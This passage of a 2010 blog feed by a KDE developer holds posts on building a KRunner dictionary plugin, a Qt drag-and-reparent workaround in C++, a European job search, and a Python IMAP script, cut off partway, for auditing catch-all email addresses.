		<title>KRunner Dictionary Plugin: Finally</title>
		<link>http://blog.zx2c4.com/285</link>
		<comments>http://blog.zx2c4.com/285#comments</comments>
		<pubDate>Thu, 29 Jul 2010 13:33:25 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[krunner]]></category>
		<category><![CDATA[plasma]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=285</guid>
		<description><![CDATA[Four months ago I promised to make a dictionary KRunner plugin. I&#8217;ve finally started to write it. It&#8217;s currently in kdereview and will hopefully be included with KDE SC 4.6. It functions as simply as I wanted it to back in March: you hit alt+f2, type &#8220;define {your word}&#8221;, and presto, the results are there. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/285#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=285" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Four months ago <a href="http://blog.zx2c4.com/269">I promised</a> to make a dictionary KRunner plugin. I&#8217;ve finally started to write it.<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/07/dictionarykrunner.png" alt="" title="Dictionary KRunner" width="434" height="360" class="aligncenter size-full wp-image-286" /><br />
It&#8217;s currently in <a href="http://websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/?referer=');">kdereview</a> and will hopefully be included with KDE SC 4.6.</p>
<p>It functions as simply as I wanted it to back in March: you hit alt+f2, type &#8220;define {your word}&#8221;, and presto, the results are there.</p>
<p>Unfortunately, it wasn&#8217;t as easy as it ought to have been. I utilize the same data source as the dictionary plasmoid, which is a Plasma::DataEngine, and as it turns out, DataEngine has a few issues with threading, which KRunner relies on. It&#8217;s also built around signal/slot async requests, while KRunner uses a blocking thread for computation. I ended up having to invoke a QMetaMethod to shuffle things to the right thread and use a QMutex for synchronization. What a hassle. Nevertheless, the dictionary plugin seems to work pretty well.</p>
<p>Anything I should add to it? Ability to choose alternative trigger words to &#8220;define&#8221;? Some kind of loading indicator? If you have the time, <a href="http://websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/?referer=');">try out the code</a> and let me know what you think.</p>
<p><b>Update:</b> Some of you in the comments and on IRC have asked me the best way to try this out immediately. Here are the commands:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">svn</span> <span style="color: #c20cb9; font-weight: bold;">co</span> <span style="color: #c20cb9; font-weight: bold;">svn</span>:<span style="color: #000000; font-weight: bold;">//</span>anonsvn.kde.org<span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>kde<span style="color: #000000; font-weight: bold;">/</span>trunk<span style="color: #000000; font-weight: bold;">/</span>kdereview<span style="color: #000000; font-weight: bold;">/</span>plasma<span style="color: #000000; font-weight: bold;">/</span>runners<span style="color: #000000; font-weight: bold;">/</span>dictionary dictionary-krunner
<span style="color: #7a0874; font-weight: bold;">cd</span> dictionary-krunner
cmake . -DCMAKE_INSTALL_PREFIX=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>kde4-config --prefix<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #c20cb9; font-weight: bold;">make</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span>
kbuildsycoca4
kquitapp krunner
krunner</pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/285#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=285" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/285/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Reparenting QGraphicsItem during Mouse Drag</title>
		<link>http://blog.zx2c4.com/275</link>
		<comments>http://blog.zx2c4.com/275#comments</comments>
		<pubDate>Wed, 23 Jun 2010 00:10:13 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Grafitroniks]]></category>
		<category><![CDATA[GraphicsView]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=275</guid>
		<description><![CDATA[QGraphicsItem::setFlag(ItemIsMovable) is a wonderful feature. With one line of code, an item becomes dragable with the mouse for repositioning. Unfortunately, things get a bit tricky when reparenting during drags. Let&#8217;s say you have two QGraphicsItem called plate1 and plate2, in a subclass called PlateGraphicsItem. Inside plate1 and plate2, you have a few child items, food1, [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/275#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=275" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><tt>QGraphicsItem::setFlag(ItemIsMovable)</tt> is a wonderful feature. With one line of code, an item becomes dragable with the mouse for repositioning. Unfortunately, things get a bit tricky when <i>reparenting</i> during drags.</p>
<p>Let&#8217;s say you have two QGraphicsItem called plate1 and plate2, in a subclass called PlateGraphicsItem. Inside plate1 and plate2, you have a few child items, food1, food2, food3, food4, etc, in a subclass called FoodGraphicsItem. Foods are inside of plates. What if we want to move one piece of food from one plate to another, smoothly dragging it there? Intuitively, we should be able to do this (after remembering to run <tt>setFlag(ItemSendsGeometryChanges)</tt>):</p>

<div class="wp_syntax"><div class="code"><pre class="cpp-qt" style="font-family:monospace;"><span style="color: #22aadd;">QVariant</span> FoodGraphicsItem<span style="color: #006E28;">::</span><span style="color: #2B74C7;">itemChange</span><span style="color: #006E28;">&#40;</span>GraphicsItemChange change<span style="color: #006E28;">,</span> <span style="color: #0057AE;">const</span> <span style="color: #22aadd;">QVariant</span> <span style="color: #006E28;">&amp;</span>value<span style="color: #006E28;">&#41;</span>
<span style="color: #006E28;">&#123;</span>
	<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>change <span style="color: #006E28;">==</span> ItemPositionChange <span style="color: #006E28;">&amp;&amp;</span> scene<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
		<span style="color: #22aadd;">QRectF</span> newRect <span style="color: #006E28;">=</span> mapRectToScene<span style="color: #006E28;">&#40;</span>boundingRect<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		newRect.<span style="color: #2B74C7;">moveTo</span><span style="color: #006E28;">&#40;</span>parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapToScene</span><span style="color: #006E28;">&#40;</span>value.<span style="color: #2B74C7;">toPointF</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		<span style="color: #0057AE;">foreach</span> <span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">QGraphicsItem</span> <span style="color: #006E28;">*</span>item<span style="color: #006E28;">,</span> scene<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">items</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
			<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>item <span style="color: #006E28;">!=</span> parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&amp;&amp;</span>
			    qgraphicsitem_cast<span style="color: #006E28;">&lt;</span> PlateGraphicsItem<span style="color: #006E28;">*</span> <span style="color: #006E28;">&gt;</span><span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&amp;&amp;</span>
			    item<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapRectToScene</span><span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">boundingRect</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span>.<span style="color: #2B74C7;">contains</span><span style="color: #006E28;">&#40;</span>newRect<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
				setParentItem<span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
				break<span style="color: #006E28;">;</span>
			<span style="color: #006E28;">&#125;</span>
		<span style="color: #006E28;">&#125;</span>
	<span style="color: #006E28;">&#125;</span>
	<span style="color: #000000; font-weight:bold;">return</span> <span style="color: #22aadd;">QGraphicsItem</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">itemChange</span><span style="color: #006E28;">&#40;</span>change<span style="color: #006E28;">,</span> value<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
<span style="color: #006E28;">&#125;</span></pre></div></div>

<p>As the user drags the food, we see if it&#8217;s boundingbox fits inside the bounding box of a different plate. If it does, we switch parents. But this doesn&#8217;t happen. As soon as the item is reparented, it leaps across the screen to the <i>same relative position it was in while inside of the old plate</i>. If it was on the bottom-left corner of the old plate, it moves to the bottom-left corner of the new plate. Not what we want. So it <i>seems</i> like we should be able to modify the inside of that loop like this:</p>

<div class="wp_syntax"><div class="code"><pre class="cpp-qt" style="font-family:monospace;">				<span style="color: #22aadd;">QPointF</span> oldPos <span style="color: #006E28;">=</span> scenePos<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
				setParentItem<span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
				<span style="color: #000000; font-weight:bold;">return</span> <span style="color: #22aadd;">QVariant</span><span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapFromScene</span><span style="color: #006E28;">&#40;</span>oldPos<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span></pre></div></div>

<p>But alas, this does not work either. As soon as you move the mouse again (while still dragging), the item leaps to where it was before the above fix. And remember: this leap puts the item far away from underneath the mouse cursor. So it works initially, but the next time Qt&#8217;s MouseMove event handler is called, we&#8217;re SOL.</p>
<p>After digging through the Qt source for quite a bit of time, it turns out that Qt keeps track of where the mouse was pressed originally, in the scene coordinates, and uses this to compute the new location relative to the old parent coordinates. Not good. Mixing coordinate systems like this is not okay once the item is reparented. It turns out, we have to simulate a mouse release event to clear Qt&#8217;s internal state. But this doesn&#8217;t completely do it, because the mouse event still has the scene coordinate of where the button was pressed, which means we also need to intercept and tamper this information before Qt sees it. Essentially what this amounts to is reversing Qt&#8217;s coordinate equation, solving for zero, and adding back the location that we want. And this has to happen every time the user moves the mouse, but it should only happen once the item has been reparented. And if the item is reparented back to the original plate after a series of drags, we still have to do this transformation, since we have already cleared Qt&#8217;s internal state, which means we need to store the click location once we reparent.</p>
<p>So all and all, this <i>horrible</i> hack amounts to adding this (and making the above modification):</p>

<div class="wp_syntax"><div class="code"><pre class="cpp-qt" style="font-family:monospace;"><span style="color: #0057AE;">void</span> FoodGraphicsItem<span style="color: #006E28;">::</span><span style="color: #2B74C7;">mouseMoveEvent</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">QGraphicsSceneMouseEvent</span> <span style="color: #006E28;">*</span>event<span style="color: #006E28;">&#41;</span>
<span style="color: #006E28;">&#123;</span>
	<span style="color: #888888;">//BIG PHAT UGLY HACK!</span>
	<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">==</span> m_manualMouseReleaseAt <span style="color: #006E28;">||</span>
	    <span style="color: #006E28;">!</span>parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">contains</span><span style="color: #006E28;">&#40;</span>parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapFromScene</span><span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
		m_manualMouseReleaseAt <span style="color: #006E28;">=</span> event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		<span style="color: #22aadd;">QGraphicsSceneMouseEvent</span> mouseRelease<span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">QEvent</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">GraphicsSceneMouseRelease</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		<span style="color: #22aadd;">QGraphicsItem</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">mouseReleaseEvent</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&amp;</span>mouseRelease<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">setButtonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">,</span> parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapToScene</span><span style="color: #006E28;">&#40;</span>pos<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">+</span> transform<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span>.<span style="color: #2B74C7;">map</span><span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownPos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
	<span style="color: #006E28;">&#125;</span>
	<span style="color: #22aadd;">QGraphicsItem</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">mouseMoveEvent</span><span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
<span style="color: #006E28;">&#125;</span></pre></div></div>

<p>This works, but it&#8217;s awful. Really awful. And it could break in future Qt versions. But for now, it works.</p>
<p>So I&#8217;m wondering &#8212; is this behavior by design, or have I uncovered an odd Qt bug?</p>
<p><b>Update</b>: It looks like <a href="http://www.qtcentre.org/threads/22775-Qgraphicsitem-parent-child-paint-problem." onclick="pageTracker._trackPageview('/outgoing/www.qtcentre.org/threads/22775-Qgraphicsitem-parent-child-paint-problem.?referer=');">others have encountered</a> the same problem. Well, here&#8217;s a work around. But is there a more correct solution?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/275#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=275" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/275/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>KRunner Dictionary Plugin</title>
		<link>http://blog.zx2c4.com/269</link>
		<comments>http://blog.zx2c4.com/269#comments</comments>
		<pubDate>Thu, 11 Mar 2010 01:00:56 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=269</guid>
		<description><![CDATA[KRunner needs a dictionary plugin. Work flow: alt + f2 type &#8220;define &#8220; ctrl + v awe at simplicity While we&#8217;re at it, a translation plugin would be nice too. I will make the dictionary runner. Standby.<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/269#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=269" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>KRunner needs a dictionary plugin. Work flow:</p>
<ol>
<li>alt + f2</li>
<li>type &#8220;define &#8220;</li>
<li>ctrl + v</li>
<li>awe at simplicity</li>
</ol>
<p>While we&#8217;re at it, a translation plugin would be nice too.</p>
<p>I will make the dictionary runner. Standby.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/269#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=269" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/269/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Programming Gigs in Europe</title>
		<link>http://blog.zx2c4.com/265</link>
		<comments>http://blog.zx2c4.com/265#comments</comments>
		<pubDate>Mon, 08 Mar 2010 00:05:29 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Jobs]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=265</guid>
		<description><![CDATA[I&#8217;m drawn to Europe, and this summer I want to live there, especially France or Italy. Europe is also expensive, which means I have to find a job over there. The problem is, I don&#8217;t have any &#8220;connections&#8221; in the European programming world to set me up with a coding gig. Parisian CraigsList is mostly [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/265#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=265" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m drawn to Europe, and this summer I want to live there, especially France or Italy. Europe is also expensive, which means I have to find a job over there. The problem is, I don&#8217;t have any &#8220;connections&#8221; in the European programming world to set me up with a coding gig. Parisian CraigsList is mostly empty and I&#8217;m not really familiar with how folks find jobs over there. I have a damn good resume, but nobody to send it to.</p>
<p>So, I turn to the interwebs for help: <i><b>How do I find a summer coding job in Europe?</b></i> Anyone suggest any companies or individuals to contact, or know of any European coding gigs search sites? Any KDE/Qt companies based in Paris or Italy or anyplace European I should contact? I&#8217;ll be in Paris next week traveling, so perhaps I&#8217;d be able to meet some folks in person while I&#8217;m over there.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/265#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=265" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/265/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Trying to Leave Catch-All E-Mail Behind</title>
		<link>http://blog.zx2c4.com/261</link>
		<comments>http://blog.zx2c4.com/261#comments</comments>
		<pubDate>Fri, 05 Mar 2010 00:46:21 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=261</guid>
		<description><![CDATA[For the last 10 years, I&#8217;ve used zx2c4.com for my e-mail, and have had it forwarded to whichever provider I was using, which most recently happens to be gmail. Ten years ago, it seemed like a good idea to have &#8220;catch-all&#8221; e-mail, whereby anything you put at zx2c4.com would be sent to me. This was [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/261#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=261" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>For the last 10 years, I&#8217;ve used zx2c4.com for my e-mail, and have had it forwarded to whichever provider I was using, which most recently happens to be gmail. Ten years ago, it seemed like a good idea to have &#8220;catch-all&#8221; e-mail, whereby anything you put at zx2c4.com would be sent to me. This was great for a while, and on every site I would visit that required an e-mail, I&#8217;d give them a new one. JasonHatesWhenNikeDotComSpamsHim [at] zx2c4.com I would use for nike.com, and then I&#8217;d know for certain if they ever sold my e-mail address. For more serious sites, I would just use their site name or something easy to remember about their site. For personal communications, all my friends knew this quality of zx2c4.com, and would send things to anything they wanted &#8212; YouAreAGoofBall [at] zx2c4.com, for example.</p>
<p>This was all fun and games and helped filter out some spam throughout the years, but it seems like it&#8217;s time I settle down on one e-mail address. I would also like to find a different domain than zx2c4.com for personal communications that&#8217;s much easier to remember (any suggestions?). The problem is &#8211; it&#8217;s very difficult to switch away from catch-all e-mail. My initial idea was to gather up all the e-mails of individuals who have sent e-mail to something other than my main e-mail address, and automate the process with a form letter sent via SMTP that says something like &#8220;Dear joe@shmoe.com, You have sent letters to asdfasf [at] zx2c4.com, thatthang [at] zx2c4.com, jojomojito [at] zx2c4.com. Please note that starting May 1, 2010, only whatIDecide [at] zx2c4.com will be valid. Thank you, Jason&#8221;. And then painstakingly go to all of the websites with logins and change my e-mail address for every.single.solitary.one one.by.one. At first this all seemed doable.</p>
<p>But then I started investigating&#8230;. Since I started using GMail in March of 2005, <b>I have received e-mail from 1,299 different e-mail addresses on 267 different zx2c4.com e-mail addresses</b>, not to mention lost e-mail from the 5 years prior. I built this python script to give me a good layout of what&#8217;s up:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #808080; font-style: italic;"># -*- coding: iso-8859-1 -*-</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">imaplib</span> <span style="color: #ff7700;font-weight:bold;">import</span> IMAP4_SSL
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">optparse</span> <span style="color: #ff7700;font-weight:bold;">import</span> OptionParser
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">email</span>.<span style="color: #dc143c;">parser</span> <span style="color: #ff7700;font-weight:bold;">import</span> HeaderParser
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">email</span>.<span style="color: black;">message</span> <span style="color: #ff7700;font-weight:bold;">import</span> Message
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">email</span>.<span style="color: black;">utils</span> <span style="color: #ff7700;font-weight:bold;">import</span> getaddresses
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
	<span style="color: #dc143c;">parser</span> = OptionParser<span style="color: black;">&#40;</span>usage=<span style="color: #483d8b;">&quot;%prog --username/-u USERNAME --password/-p PASSWORD --mode/-m MODE [--domain/-d DOMAIN] [--cachedir/-c CACHEDIR]&quot;</span>, description=<span style="color: #483d8b;">&quot;Downloads gmail message headers and determines the set of all e-mail addresses on DOMAIN at which people have emailed you.&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;-u&quot;</span>, <span style="color: #483d8b;">&quot;--username&quot;</span>, action=<span style="color: #483d8b;">&quot;store&quot;</span>, <span style="color: #008000;">type</span>=<span style="color: #483d8b;">&quot;string&quot;</span>, metavar=<span style="color: #483d8b;">&quot;USERNAME&quot;</span>, <span style="color: #008000;">help</span>=<span style="color: #483d8b;">&quot;Gmail username&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;-p&quot;</span>, <span style="color: #483d8b;">&quot;--password&quot;</span>, action=<span style="color: #483d8b;">&quot;store&quot;</span>, <span style="color: #008000;">type</span>=<span style="color: #483d8b;">&quot;string&quot;</span>, metavar=<span style="color: #483d8b;">&quot;PASSWORD&quot;</span>, <span style="color: #008000;">help</span>=<span style="color: #483d8b;">&quot;Gmail password&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;-d&quot;</span>, <span style="color: #483d8b;">&quot;--domain&quot;</span>, action=<span style="color: #483d8b;">&quot;store&quot;</span>, <span style="color: #008000;">type</span>=<span style="color: #483d8b;">&quot;string&quot;</span>, metavar=<span style="color: #483d8b;">&quot;DOMAIN&quot;</span>, <span style="color: #008000;">help</span>=<span style="color: #483d8b;">&quot;Domain name&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;-c&quot;</span>, <span style="color: #483d8b;">&quot;--cachedir&quot;</span>, action=<span style="color: #483d8b;">&quot;store&quot;</span>, <span style="color: #008000;">type</span>=<span style="color: #483d8b;">&quot;string&quot;</span>, metavar=<span style="color: #483d8b;">&quot;CACHEDIR&quot;</span>, <span style="color: #008000;">help</span>=<span style="color: #483d8b;">&quot;The directory to cache fetched headers for subsequent runs&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;-m&quot;</span>, <span style="color: #483d8b;">&quot;--mode&quot;</span>, action=<span style="color: #483d8b;">&quot;store&quot;</span>, <span style="color: #008000;">type</span>=<span style="color: #483d8b;">&quot;string&quot;</span>, metavar=<span style="color: #483d8b;">&quot;SENDERSFILE&quot;</span>, <span style="color: #008000;">help</span>=<span style="color: #483d8b;">&quot;If the mode is <span style="color: #000099; font-weight: bold;">\&quot;</span>to<span style="color: #000099; font-weight: bold;">\&quot;</span>, this prints a list of all the emails you've received email on. If the mode is <span style="color: #000099; font-weight: bold;">\&quot;</span>from<span style="color: #000099; font-weight: bold;">\&quot;</span> this prints a list of everyone who has sent you email. If the mode is <span style="color: #000099; font-weight: bold;">\&quot;</span>frombyto<span style="color: #000099; font-weight: bold;">\&quot;</span> this prints a list of all the addresses that have emailed you sorted by the address at which you received email. If the mode is <span style="color: #000099; font-weight: bold;">\&quot;</span>tobyfrom<span style="color: #000099; font-weight: bold;">\&quot;</span> this prints a of all the addresses you have received e-mail from sorted and duplicated by who sent the e-mail.&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: black;">&#40;</span>options, args<span style="color: black;">&#41;</span> = <span style="color: #dc143c;">parser</span>.<span style="color: black;">parse_args</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> options.<span style="color: black;">username</span> == <span style="color: #008000;">None</span> <span style="color: #ff7700;font-weight:bold;">or</span> options.<span style="color: black;">password</span> == <span style="color: #008000;">None</span>:
		<span style="color: #dc143c;">parser</span>.<span style="color: black;">error</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Username and password are all required.&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> options.<span style="color: black;">mode</span> <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">&quot;from&quot;</span> <span style="color: #ff7700;font-weight:bold;">and</span> options.<span style="color: black;">mode</span> <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">&quot;to&quot;</span> <span style="color: #ff7700;font-weight:bold;">and</span> options.<span style="color: black;">mode</span> <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">&quot;frombyto&quot;</span> <span style="color: #ff7700;font-weight:bold;">and</span> options.<span style="color: black;">mode</span> <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">&quot;tobyfrom&quot;</span>:
		<span style="color: #dc143c;">parser</span>.<span style="color: black;">error</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;You must specify a mode.&quot;</span><span style="color: black;">&#41;</span>
